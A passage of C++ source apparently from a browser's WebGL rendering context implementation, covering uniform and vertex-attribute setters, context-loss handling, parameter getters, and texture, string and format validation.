ContextGL()->Uniform4fv(location->Location(), v.size() >> 2, v.data()); } void WebGLRenderingContextBase::uniform4i(const WebGLUniformLocation* location, GLint x, GLint y, GLint z, GLint w) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform4i", "location not for current program"); return; } ContextGL()->Uniform4i(location->Location(), x, y, z, w); } void WebGLRenderingContextBase::uniform4iv(const WebGLUniformLocation* location, const FlexibleInt32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform4iv", location, v, 4, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform4iv(location->Location(), base::checked_cast(v.lengthAsSizeT()) >> 2, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform4iv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform4iv", location, v.data(), v.size(), 4, 0, v.size())) return; ContextGL()->Uniform4iv(location->Location(), v.size() >> 2, v.data()); } void WebGLRenderingContextBase::uniformMatrix2fv( const WebGLUniformLocation* location, GLboolean transpose, MaybeShared v) { if (isContextLost() || !ValidateUniformMatrixParameters( "uniformMatrix2fv", location, transpose, v.View(), 4, 0, v.View()->lengthAsSizeT())) return; ContextGL()->UniformMatrix2fv( location->Location(), base::checked_cast(v.View()->lengthAsSizeT()) >> 2, transpose, v.View()->DataMaybeShared()); } void WebGLRenderingContextBase::uniformMatrix2fv( const WebGLUniformLocation* location, GLboolean transpose, Vector& v) { if (isContextLost() || !ValidateUniformMatrixParameters("uniformMatrix2fv", location, transpose, v.data(), v.size(), 4, 0, v.size())) return; ContextGL()->UniformMatrix2fv(location->Location(), v.size() >> 2, transpose, v.data()); } void WebGLRenderingContextBase::uniformMatrix3fv( const WebGLUniformLocation* location, GLboolean transpose, MaybeShared v) { if (isContextLost() || !ValidateUniformMatrixParameters( "uniformMatrix3fv", location, transpose, v.View(), 9, 0, v.View()->lengthAsSizeT())) return; ContextGL()->UniformMatrix3fv( location->Location(), base::checked_cast(v.View()->lengthAsSizeT()) / 9, transpose, v.View()->DataMaybeShared()); } void WebGLRenderingContextBase::uniformMatrix3fv( const WebGLUniformLocation* location, GLboolean transpose, Vector& v) { if (isContextLost() || !ValidateUniformMatrixParameters("uniformMatrix3fv", location, transpose, v.data(), v.size(), 9, 0, v.size())) return; ContextGL()->UniformMatrix3fv(location->Location(), v.size() / 9, transpose, v.data()); } void WebGLRenderingContextBase::uniformMatrix4fv( const WebGLUniformLocation* location, GLboolean transpose, MaybeShared v) { if (isContextLost() || !ValidateUniformMatrixParameters( "uniformMatrix4fv", location, transpose, v.View(), 16, 0, v.View()->lengthAsSizeT())) return; ContextGL()->UniformMatrix4fv( location->Location(), base::checked_cast(v.View()->lengthAsSizeT()) >> 4, transpose, v.View()->DataMaybeShared()); } void WebGLRenderingContextBase::uniformMatrix4fv( const WebGLUniformLocation* location, GLboolean transpose, Vector& v) { if (isContextLost() || !ValidateUniformMatrixParameters("uniformMatrix4fv", location, transpose, v.data(), v.size(), 16, 0, v.size())) return; ContextGL()->UniformMatrix4fv(location->Location(), v.size() >> 4, transpose, v.data()); } void WebGLRenderingContextBase::useProgram(WebGLProgram* program) { if (!ValidateNullableWebGLObject("useProgram", program)) return; if (program && !program->LinkStatus(this)) { SynthesizeGLError(GL_INVALID_OPERATION, "useProgram", "program not valid"); return; } if (current_program_ != program) { if (current_program_) current_program_->OnDetached(ContextGL()); current_program_ = program; ContextGL()->UseProgram(ObjectOrZero(program)); if (program) program->OnAttached(); } } void WebGLRenderingContextBase::validateProgram(WebGLProgram* program) { if (!ValidateWebGLProgramOrShader("validateProgram", program)) return; ContextGL()->ValidateProgram(ObjectOrZero(program)); } void WebGLRenderingContextBase::SetVertexAttribType( GLuint index, VertexAttribValueType type) { if (index < max_vertex_attribs_) vertex_attrib_type_[index] = type; } void WebGLRenderingContextBase::vertexAttrib1f(GLuint index, GLfloat v0) { if (isContextLost()) return; ContextGL()->VertexAttrib1f(index, v0); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib1fv( GLuint index, MaybeShared v) { if (isContextLost()) return; if (!v.View() || v.View()->lengthAsSizeT() < 1) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib1fv", "invalid array"); return; } ContextGL()->VertexAttrib1fv(index, v.View()->DataMaybeShared()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib1fv(GLuint index, const Vector& v) { if (isContextLost()) return; if (v.size() < 1) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib1fv", "invalid array"); return; } ContextGL()->VertexAttrib1fv(index, v.data()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib2f(GLuint index, GLfloat v0, GLfloat v1) { if (isContextLost()) return; ContextGL()->VertexAttrib2f(index, v0, v1); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib2fv( GLuint index, MaybeShared v) { if (isContextLost()) return; if (!v.View() || v.View()->lengthAsSizeT() < 2) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib2fv", "invalid array"); return; } ContextGL()->VertexAttrib2fv(index, v.View()->DataMaybeShared()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib2fv(GLuint index, const Vector& v) { if (isContextLost()) return; if (v.size() < 2) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib2fv", "invalid array"); return; } ContextGL()->VertexAttrib2fv(index, v.data()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib3f(GLuint index, GLfloat v0, GLfloat v1, GLfloat v2) { if (isContextLost()) return; ContextGL()->VertexAttrib3f(index, v0, v1, v2); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib3fv( GLuint index, MaybeShared v) { if (isContextLost()) return; if (!v.View() || v.View()->lengthAsSizeT() < 3) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib3fv", "invalid array"); return; } ContextGL()->VertexAttrib3fv(index, v.View()->DataMaybeShared()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib3fv(GLuint index, const Vector& v) { if (isContextLost()) return; if (v.size() < 3) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib3fv", "invalid array"); return; } ContextGL()->VertexAttrib3fv(index, v.data()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib4f(GLuint index, GLfloat v0, GLfloat v1, GLfloat v2, GLfloat v3) { if (isContextLost()) return; ContextGL()->VertexAttrib4f(index, v0, v1, v2, v3); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib4fv( GLuint index, MaybeShared v) { if (isContextLost()) return; if (!v.View() || v.View()->lengthAsSizeT() < 4) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib4fv", "invalid array"); return; } ContextGL()->VertexAttrib4fv(index, v.View()->DataMaybeShared()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttrib4fv(GLuint index, const Vector& v) { if (isContextLost()) return; if (v.size() < 4) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttrib4fv", "invalid array"); return; } ContextGL()->VertexAttrib4fv(index, v.data()); SetVertexAttribType(index, kFloat32ArrayType); } void WebGLRenderingContextBase::vertexAttribPointer(GLuint index, GLint size, GLenum type, GLboolean normalized, GLsizei stride, int64_t offset) { if (isContextLost()) return; if (index >= max_vertex_attribs_) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttribPointer", "index out of range"); return; } if (!ValidateValueFitNonNegInt32("vertexAttribPointer", "offset", offset)) return; if (!bound_array_buffer_ && offset != 0) { SynthesizeGLError(GL_INVALID_OPERATION, "vertexAttribPointer", "no ARRAY_BUFFER is bound and offset is non-zero"); return; } bound_vertex_array_object_->SetArrayBufferForAttrib( index, bound_array_buffer_.Get()); ContextGL()->VertexAttribPointer( index, size, type, normalized, stride, reinterpret_cast(static_cast(offset))); } void WebGLRenderingContextBase::VertexAttribDivisorANGLE(GLuint index, GLuint divisor) { if (isContextLost()) return; if (index >= max_vertex_attribs_) { SynthesizeGLError(GL_INVALID_VALUE, "vertexAttribDivisorANGLE", "index out of range"); return; } ContextGL()->VertexAttribDivisorANGLE(index, divisor); } void WebGLRenderingContextBase::viewport(GLint x, GLint y, GLsizei width, GLsizei height) { if (isContextLost()) return; ContextGL()->Viewport(x, y, width, height); } // Added to provide a unified interface with CanvasRenderingContext2D. Prefer // calling forceLostContext instead. void WebGLRenderingContextBase::LoseContext(LostContextMode mode) { ForceLostContext(mode, kManual); } void WebGLRenderingContextBase::ForceLostContext( LostContextMode mode, AutoRecoveryMethod auto_recovery_method) { if (isContextLost()) { SynthesizeGLError(GL_INVALID_OPERATION, "loseContext", "context already lost"); return; } context_group_->LoseContextGroup(mode, auto_recovery_method); } void WebGLRenderingContextBase::LoseContextImpl( WebGLRenderingContextBase::LostContextMode mode, AutoRecoveryMethod auto_recovery_method) { if (isContextLost()) return; context_lost_mode_ = mode; DCHECK_NE(context_lost_mode_, kNotLostContext); auto_recovery_method_ = auto_recovery_method; // Lose all the extensions. for (ExtensionTracker* tracker : extensions_) { tracker->LoseExtension(false); } for (wtf_size_t i = 0; i < kWebGLExtensionNameCount; ++i) extension_enabled_[i] = false; RemoveAllCompressedTextureFormats(); // If the DrawingBuffer is destroyed during a real lost context event it // causes the CommandBufferProxy that the DrawingBuffer owns, which is what // issued the lost context event in the first place, to be destroyed before // the event is done being handled. This causes a crash when an outstanding // AutoLock goes out of scope. To avoid this, we create a no-op task to hold // a reference to the DrawingBuffer until this function is done executing. if (mode == kRealLostContext) { task_runner_->PostTask( FROM_HERE, WTF::Bind(&WebGLRenderingContextBase::HoldReferenceToDrawingBuffer, WrapWeakPersistent(this), WTF::RetainedRef(drawing_buffer_))); } // Always destroy the context, regardless of context loss mode. This will // set drawing_buffer_ to null, but it won't actually be destroyed until the // above task is executed. drawing_buffer_ is recreated in the event that the // context is restored by MaybeRestoreContext. If this was a real lost context // the OpenGL calls done during DrawingBuffer destruction will be ignored. DestroyContext(); ConsoleDisplayPreference display = (mode == kRealLostContext) ? kDisplayInConsole : kDontDisplayInConsole; SynthesizeGLError(GC3D_CONTEXT_LOST_WEBGL, "loseContext", "context lost", display); // Don't allow restoration unless the context lost event has both been // dispatched and its default behavior prevented. restore_allowed_ = false; DeactivateContext(this); if (auto_recovery_method_ == kWhenAvailable) AddToEvictedList(this); // Always defer the dispatch of the context lost event, to implement // the spec behavior of queueing a task. dispatch_context_lost_event_timer_.StartOneShot(base::TimeDelta(), FROM_HERE); } void WebGLRenderingContextBase::HoldReferenceToDrawingBuffer(DrawingBuffer*) { // This function intentionally left blank. } void WebGLRenderingContextBase::ForceRestoreContext() { if (!isContextLost()) { SynthesizeGLError(GL_INVALID_OPERATION, "restoreContext", "context not lost"); return; } if (!restore_allowed_) { if (context_lost_mode_ == kWebGLLoseContextLostContext) SynthesizeGLError(GL_INVALID_OPERATION, "restoreContext", "context restoration not allowed"); return; } if (!restore_timer_.IsActive()) restore_timer_.StartOneShot(base::TimeDelta(), FROM_HERE); } uint32_t WebGLRenderingContextBase::NumberOfContextLosses() const { return context_group_->NumberOfContextLosses(); } cc::Layer* WebGLRenderingContextBase::CcLayer() const { return isContextLost() ? nullptr : GetDrawingBuffer()->CcLayer(); } void WebGLRenderingContextBase::SetFilterQuality( SkFilterQuality filter_quality) { if (!isContextLost() && GetDrawingBuffer()) { GetDrawingBuffer()->SetFilterQuality(filter_quality); } } Extensions3DUtil* WebGLRenderingContextBase::ExtensionsUtil() { if (!extensions_util_) { gpu::gles2::GLES2Interface* gl = ContextGL(); extensions_util_ = Extensions3DUtil::Create(gl); // The only reason the ExtensionsUtil should be invalid is if the gl context // is lost. DCHECK(extensions_util_->IsValid() || gl->GetGraphicsResetStatusKHR() != GL_NO_ERROR); } return extensions_util_.get(); } void WebGLRenderingContextBase::Stop() { if (!isContextLost()) { // Never attempt to restore the context because the page is being torn down. ForceLostContext(kSyntheticLostContext, kManual); } } bool WebGLRenderingContextBase::DrawingBufferClientIsBoundForDraw() { return !framebuffer_binding_; } void WebGLRenderingContextBase::DrawingBufferClientRestoreScissorTest() { if (destruction_in_progress_) return; if (!ContextGL()) return; if (scissor_enabled_) ContextGL()->Enable(GL_SCISSOR_TEST); else ContextGL()->Disable(GL_SCISSOR_TEST); } void WebGLRenderingContextBase::DrawingBufferClientRestoreMaskAndClearValues() { if (destruction_in_progress_) return; if (!ContextGL()) return; bool color_mask_alpha = color_mask_[3] && active_scoped_rgb_emulation_color_masks_ == 0; ContextGL()->ColorMask(color_mask_[0], color_mask_[1], color_mask_[2], color_mask_alpha); ContextGL()->DepthMask(depth_mask_); ContextGL()->StencilMaskSeparate(GL_FRONT, stencil_mask_); ContextGL()->ClearColor(clear_color_[0], clear_color_[1], clear_color_[2], clear_color_[3]); ContextGL()->ClearDepthf(clear_depth_); ContextGL()->ClearStencil(clear_stencil_); } void WebGLRenderingContextBase:: DrawingBufferClientRestorePixelPackParameters() { if (destruction_in_progress_) return; if (!ContextGL()) return; ContextGL()->PixelStorei(GL_PACK_ALIGNMENT, pack_alignment_); } void WebGLRenderingContextBase::DrawingBufferClientRestoreTexture2DBinding() { if (destruction_in_progress_) return; if (!ContextGL()) return; RestoreCurrentTexture2D(); } void WebGLRenderingContextBase:: DrawingBufferClientRestoreRenderbufferBinding() { if (destruction_in_progress_) return; if (!ContextGL()) return; ContextGL()->BindRenderbuffer(GL_RENDERBUFFER, ObjectOrZero(renderbuffer_binding_.Get())); } void WebGLRenderingContextBase::DrawingBufferClientRestoreFramebufferBinding() { if (destruction_in_progress_) return; if (!ContextGL()) return; RestoreCurrentFramebuffer(); } void WebGLRenderingContextBase:: DrawingBufferClientRestorePixelUnpackBufferBinding() {} void WebGLRenderingContextBase:: DrawingBufferClientRestorePixelPackBufferBinding() {} bool WebGLRenderingContextBase:: DrawingBufferClientUserAllocatedMultisampledRenderbuffers() { return number_of_user_allocated_multisampled_renderbuffers_ > 0; } void WebGLRenderingContextBase:: DrawingBufferClientForceLostContextWithAutoRecovery() { ForceLostContext(WebGLRenderingContextBase::kSyntheticLostContext, WebGLRenderingContextBase::kAuto); } ScriptValue WebGLRenderingContextBase::GetBooleanParameter( ScriptState* script_state, GLenum pname) { GLboolean value = 0; if (!isContextLost()) ContextGL()->GetBooleanv(pname, &value); return WebGLAny(script_state, static_cast(value)); } ScriptValue WebGLRenderingContextBase::GetBooleanArrayParameter( ScriptState* script_state, GLenum pname) { if (pname != GL_COLOR_WRITEMASK) { NOTIMPLEMENTED(); return WebGLAny(script_state, nullptr, 0); } GLboolean value[4] = {0}; if (!isContextLost()) ContextGL()->GetBooleanv(pname, value); bool bool_value[4]; for (int ii = 0; ii < 4; ++ii) bool_value[ii] = static_cast(value[ii]); return WebGLAny(script_state, bool_value, 4); } ScriptValue WebGLRenderingContextBase::GetFloatParameter( ScriptState* script_state, GLenum pname) { GLfloat value = 0; if (!isContextLost()) ContextGL()->GetFloatv(pname, &value); return WebGLAny(script_state, value); } ScriptValue WebGLRenderingContextBase::GetIntParameter( ScriptState* script_state, GLenum pname) { GLint value = 0; if (!isContextLost()) { ContextGL()->GetIntegerv(pname, &value); switch (pname) { case GL_IMPLEMENTATION_COLOR_READ_FORMAT: case GL_IMPLEMENTATION_COLOR_READ_TYPE: if (value == 0) { // This indicates read framebuffer is incomplete and an // INVALID_OPERATION has been generated. return ScriptValue::CreateNull(script_state->GetIsolate()); } break; default: break; } } return WebGLAny(script_state, value); } ScriptValue WebGLRenderingContextBase::GetInt64Parameter( ScriptState* script_state, GLenum pname) { GLint64 value = 0; if (!isContextLost()) ContextGL()->GetInteger64v(pname, &value); return WebGLAny(script_state, value); } ScriptValue WebGLRenderingContextBase::GetUnsignedIntParameter( ScriptState* script_state, GLenum pname) { GLint value = 0; if (!isContextLost()) ContextGL()->GetIntegerv(pname, &value); return WebGLAny(script_state, static_cast(value)); } ScriptValue WebGLRenderingContextBase::GetWebGLFloatArrayParameter( ScriptState* script_state, GLenum pname) { GLfloat value[4] = {0}; if (!isContextLost()) ContextGL()->GetFloatv(pname, value); unsigned length = 0; switch (pname) { case GL_ALIASED_POINT_SIZE_RANGE: case GL_ALIASED_LINE_WIDTH_RANGE: case GL_DEPTH_RANGE: length = 2; break; case GL_BLEND_COLOR: case GL_COLOR_CLEAR_VALUE: length = 4; break; default: NOTIMPLEMENTED(); } return WebGLAny(script_state, DOMFloat32Array::Create(value, length)); } ScriptValue WebGLRenderingContextBase::GetWebGLIntArrayParameter( ScriptState* script_state, GLenum pname) { GLint value[4] = {0}; if (!isContextLost()) ContextGL()->GetIntegerv(pname, value); unsigned length = 0; switch (pname) { case GL_MAX_VIEWPORT_DIMS: length = 2; break; case GL_SCISSOR_BOX: case GL_VIEWPORT: length = 4; break; default: NOTIMPLEMENTED(); } return WebGLAny(script_state, DOMInt32Array::Create(value, length)); } WebGLTexture* WebGLRenderingContextBase::ValidateTexture2DBinding( const char* function_name, GLenum target) { WebGLTexture* tex = nullptr; switch (target) { case GL_TEXTURE_2D: tex = texture_units_[active_texture_unit_].texture2d_binding_.Get(); break; case GL_TEXTURE_CUBE_MAP_POSITIVE_X: case GL_TEXTURE_CUBE_MAP_NEGATIVE_X: case GL_TEXTURE_CUBE_MAP_POSITIVE_Y: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y: case GL_TEXTURE_CUBE_MAP_POSITIVE_Z: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z: tex = texture_units_[active_texture_unit_].texture_cube_map_binding_.Get(); break; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid texture target"); return nullptr; } if (!tex) SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no texture bound to target"); return tex; } WebGLTexture* WebGLRenderingContextBase::ValidateTextureBinding( const char* function_name, GLenum target) { WebGLTexture* tex = nullptr; switch (target) { case GL_TEXTURE_2D: tex = texture_units_[active_texture_unit_].texture2d_binding_.Get(); break; case GL_TEXTURE_CUBE_MAP: tex = texture_units_[active_texture_unit_].texture_cube_map_binding_.Get(); break; case GL_TEXTURE_3D: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid texture target"); return nullptr; } tex = texture_units_[active_texture_unit_].texture3d_binding_.Get(); break; case GL_TEXTURE_2D_ARRAY: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid texture target"); return nullptr; } tex = texture_units_[active_texture_unit_].texture2d_array_binding_.Get(); break; case GL_TEXTURE_VIDEO_IMAGE_WEBGL: if (!ExtensionEnabled(kWebGLVideoTextureName)) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid texture target"); return nullptr; } tex = texture_units_[active_texture_unit_] .texture_video_image_binding_.Get(); break; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid texture target"); return nullptr; } if (!tex) SynthesizeGLError(GL_INVALID_OPERATION, function_name, "no texture bound to target"); return tex; } bool WebGLRenderingContextBase::ValidateLocationLength( const char* function_name, const String& string) { const unsigned max_web_gl_location_length = GetMaxWebGLLocationLength(); if (string.length() > max_web_gl_location_length) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "location length > 256"); return false; } return true; } bool WebGLRenderingContextBase::ValidateSize(const char* function_name, GLint x, GLint y, GLint z) { if (x < 0 || y < 0 || z < 0) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "size < 0"); return false; } return true; } bool WebGLRenderingContextBase::ValidateCharacter(unsigned char c) { // Printing characters are valid except " $ ` @ \ ' DEL. if (c >= 32 && c <= 126 && c != '"' && c != '$' && c != '`' && c != '@' && c != '\\' && c != '\'') return true; // Horizontal tab, line feed, vertical tab, form feed, carriage return // are also valid. if (c >= 9 && c <= 13) return true; return false; } bool WebGLRenderingContextBase::ValidateString(const char* function_name, const String& string) { for (wtf_size_t i = 0; i < string.length(); ++i) { if (!ValidateCharacter(string[i])) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "string not ASCII"); return false; } } return true; } bool WebGLRenderingContextBase::IsPrefixReserved(const String& name) { if (name.StartsWith("gl_") || name.StartsWith("webgl_") || name.StartsWith("_webgl_")) return true; return false; } bool WebGLRenderingContextBase::ValidateShaderSource(const String& string) { for (wtf_size_t i = 0; i < string.length(); ++i) { // line-continuation character \ is supported in WebGL 2.0. if (IsWebGL2OrHigher() && string[i] == '\\') { continue; } if (!ValidateCharacter(string[i])) { SynthesizeGLError(GL_INVALID_VALUE, "shaderSource", "string not ASCII"); return false; } } return true; } bool WebGLRenderingContextBase::ValidateShaderType(const char* function_name, GLenum shader_type) { switch (shader_type) { case GL_VERTEX_SHADER: case GL_FRAGMENT_SHADER: return true; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid shader type"); return false; } } void WebGLRenderingContextBase::AddExtensionSupportedFormatsTypes() { if (!is_oes_texture_float_formats_types_added_ && ExtensionEnabled(kOESTextureFloatName)) { ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESTexFloat); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesOESTexFloat); is_oes_texture_float_formats_types_added_ = true; } if (!is_oes_texture_half_float_formats_types_added_ && ExtensionEnabled(kOESTextureHalfFloatName)) { ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESTexHalfFloat); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesOESTexHalfFloat); is_oes_texture_half_float_formats_types_added_ = true; } if (!is_web_gl_depth_texture_formats_types_added_ && ExtensionEnabled(kWebGLDepthTextureName)) { ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedInternalFormatsOESDepthTex); ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedInternalFormatsOESDepthTex); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsOESDepthTex); ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsOESDepthTex); ADD_VALUES_TO_SET(supported_types_, kSupportedTypesOESDepthTex); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesOESDepthTex); is_web_gl_depth_texture_formats_types_added_ = true; } if (!is_ext_srgb_formats_types_added_ && ExtensionEnabled(kEXTsRGBName)) { ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedInternalFormatsEXTsRGB); ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedInternalFormatsEXTsRGB); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsEXTsRGB); ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsEXTsRGB); is_ext_srgb_formats_types_added_ = true; } } void WebGLRenderingContextBase::AddExtensionSupportedFormatsTypesWebGL2() { if (!is_ext_texture_norm16_added_ && ExtensionEnabled(kEXTTextureNorm16Name)) { ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedInternalFormatsEXTTextureNorm16ES3); ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedInternalFormatsEXTTextureNorm16ES3); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsEXTTextureNorm16ES3); ADD_VALUES_TO_SET(supported_types_, kSupportedTypesEXTTextureNorm16ES3); is_ext_texture_norm16_added_ = true; } } bool WebGLRenderingContextBase::ValidateTexImageSourceFormatAndType( const char* function_name, TexImageFunctionType function_type, GLenum internalformat, GLenum format, GLenum type) { if (!is_web_gl2_tex_image_source_formats_types_added_ && IsWebGL2OrHigher()) { ADD_VALUES_TO_SET(supported_tex_image_source_internal_formats_, kSupportedInternalFormatsTexImageSourceES3); ADD_VALUES_TO_SET(supported_tex_image_source_formats_, kSupportedFormatsTexImageSourceES3); ADD_VALUES_TO_SET(supported_tex_image_source_types_, kSupportedTypesTexImageSourceES3); is_web_gl2_tex_image_source_formats_types_added_ = true; } if (!IsWebGL2OrHigher()) { AddExtensionSupportedFormatsTypes(); } else { AddExtensionSupportedFormatsTypesWebGL2(); } if (internalformat != 0 && supported_tex_image_source_internal_formats_.find(internalformat) == supported_tex_image_source_internal_formats_.end()) { if (function_type == kTexImage) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid internalformat"); } else { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid internalformat"); } return false; } if (supported_tex_image_source_formats_.find(format) == supported_tex_image_source_formats_.end()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid format"); return false; } if (supported_tex_image_source_types_.find(type) == supported_tex_image_source_types_.end()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid type"); return false; } return true; } bool WebGLRenderingContextBase::ValidateTexFuncFormatAndType( const char* function_name, TexImageFunctionType function_type, GLenum internalformat, GLenum format, GLenum type, GLint level) { if (!is_web_gl2_formats_types_added_ && IsWebGL2OrHigher()) { ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedInternalFormatsES3); ADD_VALUES_TO_SET(supported_internal_formats_, kSupportedInternalFormatsTexImageES3); ADD_VALUES_TO_SET(supported_formats_, kSupportedFormatsES3); ADD_VALUES_TO_SET(supported_types_, kSupportedTypesES3); is_web_gl2_formats_types_added_ = true; } if (!IsWebGL2OrHigher()) { AddExtensionSupportedFormatsTypes(); } else { AddExtensionSupportedFormatsTypesWebGL2(); } if (internalformat != 0 && supported_internal_formats_.find(internalformat) == supported_internal_formats_.end()) { if (function_type == kTexImage) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "invalid internalformat"); } else { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid internalformat"); } return false; } if (supported_formats_.find(format) == supported_formats_.end()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid format"); return false; } if (supported_types_.find(type) == supported_types_.end()) { SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid type"); return false; } if (format == GL_DEPTH_COMPONENT && level > 0 && !IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "level must be 0 for DEPTH_COMPONENT format"); return false; } if (format == GL_DEPTH_STENCIL_OES && level > 0 && !IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_OPERATION, function_name, "level must be 0 for DEPTH_STENCIL format"); return false; } return true; } GLint WebGLRenderingContextBase::GetMaxTextureLevelForTarget(GLenum target) { switch (target) { case GL_TEXTURE_2D: return max_texture_level_; case GL_TEXTURE_CUBE_MAP: case GL_TEXTURE_CUBE_MAP_POSITIVE_X: case GL_TEXTURE_CUBE_MAP_NEGATIVE_X: case GL_TEXTURE_CUBE_MAP_POSITIVE_Y: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y: case GL_TEXTURE_CUBE_MAP_POSITIVE_Z: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z: return max_cube_map_texture_level_; case GL_TEXTURE_VIDEO_IMAGE_WEBGL: return 1; } return 0; } bool WebGLRenderingContextBase::ValidateTexFuncLevel(const char* function_name, GLenum target, GLint level) { if (level < 0) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "level < 0"); return false; } GLint max_level = GetMaxTextureLevelForTarget(target); if (max_level && level >= max_level) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "level out of range"); return false; } // This function only checks if level is legal, so we return true and don't // generate INVALID_ENUM if target is illegal. return true; } bool WebGLRenderingContextBase::ValidateTexFuncDimensions( const char* function_name, TexImageFunctionType function_type, GLenum target, GLint level, GLsizei width, GLsizei height, GLsizei depth) { if (width < 0 || height < 0 || depth < 0) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width, height or depth < 0"); return false; } switch (target) { case GL_TEXTURE_2D: case GL_TEXTURE_VIDEO_IMAGE_WEBGL: if (width > (max_texture_size_ >> level) || height > (max_texture_size_ >> level)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width or height out of range"); return false; } break; case GL_TEXTURE_CUBE_MAP_POSITIVE_X: case GL_TEXTURE_CUBE_MAP_NEGATIVE_X: case GL_TEXTURE_CUBE_MAP_POSITIVE_Y: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Y: case GL_TEXTURE_CUBE_MAP_POSITIVE_Z: case GL_TEXTURE_CUBE_MAP_NEGATIVE_Z: if (function_type != kTexSubImage && width != height) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width != height for cube map"); return false; } // No need to check height here. For texImage width == height. // For texSubImage that will be checked when checking yoffset + height is // in range. if (width > (max_cube_map_texture_size_ >> level)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width or height out of range for cube map"); return false; } break; case GL_TEXTURE_3D: if (IsWebGL2OrHigher()) { if (width > (max3d_texture_size_ >> level) || height > (max3d_texture_size_ >> level) || depth > (max3d_texture_size_ >> level)) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width, height or depth out of range"); return false; } break; } FALLTHROUGH; case GL_TEXTURE_2D_ARRAY: if (IsWebGL2OrHigher()) { if (width > (max_texture_size_ >> level) || height > (max_texture_size_ >> level) || depth > max_array_texture_layers_) { SynthesizeGLError(GL_INVALID_VALUE, function_name, "width, height or depth out of range"); return false; } break; } FALLTHROUGH; default: SynthesizeGLError(GL_INVALID_ENUM, function_name, "invalid target"); return false; } return true; } bool WebGLRenderingContextBase::ValidateTexFuncParameters( const char* function_name, TexImageFunctionType function_type, TexFuncValidationSourceType source_type, GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLenum format, GLenum type) { // We absolutely have to validate the format and type combination. // The texImage2D entry points taking HTMLImage, etc. will produce // temporary data based on this combination, so it must be legal. if (source_type == kSourceHTMLImageElement 